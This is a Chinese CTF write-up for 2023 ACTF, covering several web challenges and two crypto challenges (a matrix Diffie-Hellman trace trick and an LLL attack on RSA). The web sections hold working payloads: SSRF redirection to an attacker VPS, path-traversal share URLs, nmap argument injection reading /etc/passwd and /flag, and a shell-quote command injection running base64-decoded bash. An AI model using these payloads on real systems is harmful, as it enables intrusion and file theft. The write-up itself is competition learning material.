2023ACTF

2023ACTF

web

easylatex

首先需要成为vip,对于

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
app.post('/vip', auth, async (req, res) => {
let username = req.session.username
let { code } = req.body
let vip_url = VIP_URL
let data = await (await fetch(new URL(username, vip_url), {
method: 'POST',
headers: {
Cookie: Object.entries(req.cookies).map(([k, v]) => `${k}=${v}`).join('; ')
},
body: new URLSearchParams({ code })
})).text()
if ('ok' == data) {
res.cookie('token', sign({ username, isVip: true }))
res.send('Congratulation! You are VIP now.')
} else {
res.send(data)
}
})

存在这样的漏洞

image-20231101180221084

那么就可以通过对username的控制来重定向到我们的vps来成为vip

1
2
3
4
5
6
7
8
9
10
from flask import Flask, request

app = Flask(__name__)

@app.route('/', methods=['POST'])
def return_ok():
return 'ok'


app.run(host='0.0.0.0',port=10086)

然后访问vip

image-20231101181914876

对于preview路由

1
2
3
4
5
6
7
8
9
10
11
12
app.get('/preview', (req, res) => {
let { tex, theme } = req.query
if (!tex) {
tex = 'Today is \\today.'
}
const nonce = getNonce(16)
let base = 'https://cdn.jsdelivr.net/npm/latex.js/dist/'
if (theme) {
base = new URL(theme, `http://${req.headers.host}/theme/`) + '/'
}
res.render('preview.html', { tex, nonce, base })
})

同样URL可控第一个参数,访问

1
/preview?tex=111&theme=//43.139.154.219:10087/a

即可访问/js路径下面的base.js文件

同时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
app.get('/share/:id', reportLimiter, async (req, res) => {
const { id } = req.params
if (!id) {
res.send('no note id specified')
return
}
const url = `http://localhost:${PORT}/note/${id}`
try {
await visit(url)
res.send('done')
} catch (e) {
console.log(e)
res.send('something error')
}
})

req.params会进行url解码,所以可以通过../编码之后用preview访问我们的vps(存在认证,需要vip身份)

至于为什么需要vip

因为

1
const url = `http://localhost:${PORT}/note/${id}`

会经过的是note路由的post方法,在这个方法的下面存在对其vip的判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /share/%2e%2e%2f%70%72%65%76%69%65%77%3f%74%65%78%3d%31%31%31%26%74%68%65%6d%65%3d%2f%2f%34%33%2e%31%33%39%2e%31%35%34%2e%32%31%39%3a%31%30%30%38%37%2f%61 HTTP/1.1
Host: 127.0.0.1:3000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imh0dHA6Ly80My4xMzkuMTU0LjIxOToxMDA4NiIsImlzVmlwIjp0cnVlLCJpYXQiOjE2OTg4MzAwNTN9.IGd1UPmSK0uoFJEC7WnbIH1mNqsxWX-pTOGDR8fuza7gb7j7Uuec0QJyqhsmEIS2UDIZCJyuKOIPnO6UZzYLK6plRcMRRaEGsIukcOYdI6gasZzomJK1Q5y4iWYM3PNgXSUfb-ck-P_CmG8lUKqXYIlujLXsEaHMT3lH2U7f4mP_6y_wZtg9H9rDzW7s2dhZ5hx4gJZKgMDAwgfl9UlE04CGgepkWPP40LryG4CKIADwmVbh5cVLw-Sn3W3-f53_tVCqAkIpQyDUtdEizZal4rYULlvpoll1hNkPoyATcggK3GoADKYIp7SRdPPxC3XqiO0usOrma4mupA7z7s82GA
sec-ch-ua: "Chromium";v="118", "Google Chrome";v="118", "Not=A?Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
sec-fetch-site: none
sec-fetch-mode: navigate
sec-fetch-user: ?1
sec-fetch-dest: document
Connection: close


base.js

1
2
3
4
5
6
document.cookie += 'token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imh0dHA6Ly80My4xMzkuMTU0LjIxOToxMDA4NiIsImlzVmlwIjp0cnVlLCJpYXQiOjE2OTg4MzAwNTN9.IGd1UPmSK0uoFJEC7WnbIH1mNqsxWX-pTOGDR8fuza7gb7j7Uuec0QJyqhsmEIS2UDIZCJyuKOIPnO6UZzYLK6plRcMRRaEGsIukcOYdI6gasZzomJK1Q5y4iWYM3PNgXSUfb-ck-P_CmG8lUKqXYIlujLXsEaHMT3lH2U7f4mP_6y_wZtg9H9rDzW7s2dhZ5hx4gJZKgMDAwgfl9UlE04CGgepkWPP40LryG4CKIADwmVbh5cVLw-Sn3W3-f53_tVCqAkIpQyDUtdEizZal4rYULlvpoll1hNkPoyATcggK3GoADKYIp7SRdPPxC3XqiO0usOrma4mupA7z7s82GA'

var xhr = new XMLHttpRequest();

xhr.open("POST", '/vip', true);
xhr.send('code=1');

然后nc一下就可以了image-20231101203320236

MyGO’s Live!!!

nmap to RCE

之前在sekai打过类似的,当时是ruby语言

https://gudiffany.github.io/2023/09/04/10-26-47/

但是限制了长度,无法直接利用现成的poc来打

但是其中一种可以通过\t来绕过

1
checker?url=%09-iL%09/etc/passwd%09-oN%09public/index.html

{}可以使用这个进行代码块的执行

1
checker?url={-iL,/flag-????????????????,-oN,public/index.html}

Ave Mujica’s Masquerade

https://wh0.github.io/2021/10/28/shell-quote-rce-exploiting.html

docker build 之后会提示CVE

然后看看文章,使用

1
`:`command``:`

进行包裹就可以执行命令了

image-20231101203320235

1
http://127.0.0.1:3333/checker?url=:`:`bash$IFS-c$IFS{echo,Y3AgL2ZsYWcqIC9hcHAvcHVibGljL2ZsYWc=}|{base64,-d}|{bash,-i}``:`
1
curl 127.0.0.1:3333/flag -O flag

craftcms

https://mp.weixin.qq.com/s?__biz=MzkyNTYwNDgwMw==&mid=2247483716&idx=1&sn=f7496da505c7043248c1632faf34a05b&chksm=c1c54fe8f6b2c6fe1f6272577a41c16828ad8303a4520b4522ca5cf11e47c420b307707291dc&mpshare=1&scene=23&srcid=10311We1Jpkp0EzxchznrcZ6&sharer_shareinfo=899d2b0ed9d815b766606e0f6c671faf&sharer_shareinfo_first=899d2b0ed9d815b766606e0f6c671faf#rd

https://mp.weixin.qq.com/s?__biz=Mzg4MjcxMTAwMQ==&mid=2247487654&idx=1&sn=d02ba234aa0f3050658c577c8a9c5fd5&chksm=cf53d010f82459066708ccdb963b6ea0c7b434963ecd2754b8f8d6b02ee18373bb9801a27eb1&mpshare=1&scene=23&srcid=10317Rtf6W4ZAv2j8s0X0k6o&sharer_shareinfo=fb58105346e7282087990aab00b71e07&sharer_shareinfo_first=fb58105346e7282087990aab00b71e07#rd

现成的cms来打,能够文件包含

第一种是session文件的条件竞争来RCE

第二种是pearcmd打RCE

story

1
2
3
4
5
6
7
8
9
10
11
12
13
class Captcha:
lookup_table: t.List[int] = [int(i * 1.97) for i in range(256)]

def __init__(self, width: int = 160, height: int = 60, key: int = None, length: int = 4,
fonts: t.Optional[t.List[str]] = None, font_sizes: t.Optional[t.Tuple[int]] = None):
self._width = width
self._height = height
self._length = length
self._key = (key or int(time.time())) + random.randint(1,100)
self._fonts = fonts or DEFAULT_FONTS
self._font_sizes = font_sizes or (42, 50, 56)
self._truefonts: t.List[FreeTypeFont] = []
random.seed(self._key)

test

1
2
3
4
5
>>> key = None
>>> _key = key or 1
>>> print(_key)
1
>>>

也就是说key = int(time.time()) + random.randint(1,100)

然后爆破,之后ssti即可

本地环境起来没有验证码,打不了

https://mp.weixin.qq.com/s?__biz=Mzk0NjM5OTc1NQ==&mid=2247483873&idx=1&sn=3b771293296edae5cf913c2bc85ba1a8&chksm=c307fe85f4707793149c2aeebe76c086e375f9f666c143b68556e5fa358fa62694533cc630e8&mpshare=1&scene=23&srcid=10317I620Rz9DLyGPvjH4heX&sharer_shareinfo=fa0d322996aa33d12e0962e62f42eb67&sharer_shareinfo_first=fa0d322996aa33d12e0962e62f42eb67#rd

crypto

MDH

靠北了,没看,不然秒了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from hashlib import sha256
from secret import flag

r = 128
c = 96
p = 308955606868885551120230861462612873078105583047156930179459717798715109629
Fp = GF(p)

def gen():
a1 = random_matrix(Fp, r, c)
a2 = random_matrix(Fp, r, c)
A = a1 * a2.T
return (a1, a2), A

sk_alice, pk_alice = gen()
sk_bob, pk_bob = gen()
shared = (sk_alice[0].T * pk_bob * sk_alice[1]).trace()
ct = int(sha256(str(int(shared)).encode()).hexdigest(), 16) ^^ int.from_bytes(flag, 'big')

with open('output.txt', 'wb') as f:

f.write(str(ct).encode() + b'\n')
f.write(str(list(pk_alice)).encode() + b'\n')
f.write(str(list(pk_bob)).encode() + b'\n')

对于这道题目给了a1*a2.T以及b1*b2.T,share是a1.T * b1 * b2.T * a2的迹

然后通过性质上来说乘法不会改变迹的数值,转置不会改变迹的数值

所以通过转置a1*a2.T,为a1.T * a2

就可以得到share

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sage: from hashlib import sha256
....: f = open(r'./output.txt')
....: p = 308955606868885551120230861462612873078105583047156930179459717798715109629
....: c = eval(f.readline())
....:
....: pka = matrix(eval(f.readline()))
....: pkb = matrix(eval(f.readline()))
....:
....: m = (pkb*pka.T).trace()
....: m = m % p
....:
....: m = (c^^int(sha256(str(int(m)).encode()).hexdigest(), 16))
sage: from Crypto.Util.number import *
sage: long_to_bytes(m)
b'ACTF{do_you_know_f0rm2l1n_1s_4w3s0m3!}'

easyRSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from secret import flag
from Crypto.Util.number import *


def genKey(nbits, dbits):
bbits = (nbits // 2 - dbits) // 2

while True:
a = getRandomNBitInteger(dbits)
b = getRandomNBitInteger(bbits)
c = getRandomNBitInteger(bbits)
p1 = a * b * c + 1
if isPrime(p1):
# print("p1 =", p1)
break

while True:
d = getRandomNBitInteger(dbits)
p2 = b * c * d + 1
if isPrime(p2):
# print("p2 =", p2)
break

while True:
e = getRandomNBitInteger(bbits)
f = getRandomNBitInteger(bbits)
q1 = e * d * f + 1
p3 = a * e * f + 1
if isPrime(q1) and isPrime(p3):
# print("p3 =", p3)
# print("q1 =", q1)
break

while True:
d_ = getRandomNBitInteger(dbits)
if GCD(a * b * c * d * e * f, d_) != 1:
continue
e_ = inverse(d_, a * b * c * d * e * f)
k1 = (e_ * d_ - 1) // (a * b * c * d * e * f)
assert e_ * d_ == (a * b * c * d * e * f) * k1 + 1
q2 = k1 * e * f + 1
q3 = k1 * b * c + 1
if isPrime(q2) and isPrime(q3):
# print("q2 =", q2)
# print("q3 =", q3)
# print("e =", e_)
# print("d =", d_)
break

n1 = p1 * q1
n2 = p2 * q2
n3 = p3 * q3

assert pow(pow(0xdeadbeef, e_, n1), d_, n1) == 0xdeadbeef
assert pow(pow(0xdeadbeef, e_, n2), d_, n2) == 0xdeadbeef
assert pow(pow(0xdeadbeef, e_, n3), d_, n3) == 0xdeadbeef

return(e_, n1, n2, n3)


nbits = 0x600
dbits = 0x210

m = bytes_to_long(flag)
e, n1, n2, n3 = genKey(nbits, dbits)
c = pow(m, e, n1)

print("c =", c)
print("e =", e)
print("n1 =", n1)
print("n2 =", n2)
print("n3 =", n3)

n1,n2,n3都是在同样接近的bit位下面,基本上的思路是构造格,至于为什么是2^(240+528),因为在n1,n2,n3中都是在240和528bit位的数下面构成的(并且是素数),并且在构成n1,n2,n3的存在部分相同的数,就可以当作是一种公用的向量,那么为了寻找格,需要构造出一些表达式,然后由于n1,n2,n3的大小相近,近似可以看作是2^(240+528)为基准(单位向量)来构成的,所以在LLL之后,此处会是最短向量,也就是d

1
2
3
4
5
6
7
8
9
10
11
12
13
14
c = 63442255298812942222810837512019302954917822996915527697525497640413662503768308023517128481053593562877494934841788054865410798751447333551319775025362132176942795107214528962480350398519459474033659025815248579631003928932688495682277210240277909527931445899728273182691941548330126199931886748296031014210795428593631253184315074234352536885430181103986084755140024577780815130067722355861473639612699372152970688687877075365330095265612016350599320999156644
e = 272785315258275494478303901715994595013215169713087273945370833673873860340153367010424559026764907254821416435761617347240970711252213646287464416524071944646705551816941437389777294159359383356817408302841561284559712640940354294840597133394851851877857751302209309529938795265777557840238332937938235024502686737802184255165075195042860413556866222562167425361146312096189555572705076252573222261842045286782816083933952875990572937346408235562417656218440227
n1 = 473173031410877037287927970398347001343136400938581274026578368211539730987889738033351265663756061524526288423355193643110804217683860550767181983527932872361546531994961481442866335447011683462904976896894011884907968495626837219900141842587071512040734664898328709989285205714628355052565784162841441867556282849760230635164284802614010844226671736675222842060257156860013384955769045790763119616939897544697150710631300004180868397245728064351907334273953201
n2 = 327163771871802208683424470007561712270872666244394076667663345333853591836596054597471607916850284565474732679392694515656845653581599800514388800663813830528483334021178531162556250468743461443904645773493383915711571062775922446922917130005772040139744330987272549252540089872170217864935146429898458644025927741607569303966038195226388964722300472005107075179204987774627759625183739199425329481632596633992804636690274844290983438078815836605603147141262181
n3 = 442893163857502334109676162774199722362644200933618691728267162172376730137502879609506615568680508257973678725536472848428042122350184530077765734033425406055810373669798840851851090476687785235612051747082232947418290952863499263547598032467577778461061567081620676910480684540883879257518083587862219344609851852177109722186714811329766477552794034774928983660538381764930765795290189612024799300768559485810526074992569676241537503405494203262336327709010421

sad = 2^(240+528)
m = matrix([[sad,e,e,e],[0,n1+1,0,0],[0,0,n2+1,0],[0,0,0,n3+1]])
d = abs(int(m.LLL()[0][0]//sad))
m = pow(c,d,n1)
from Crypto.Util.number import *
long_to_bytes(int(m))
b'ACTF{5FFC427B-F14F-DCA0-C425-675B149890C2}'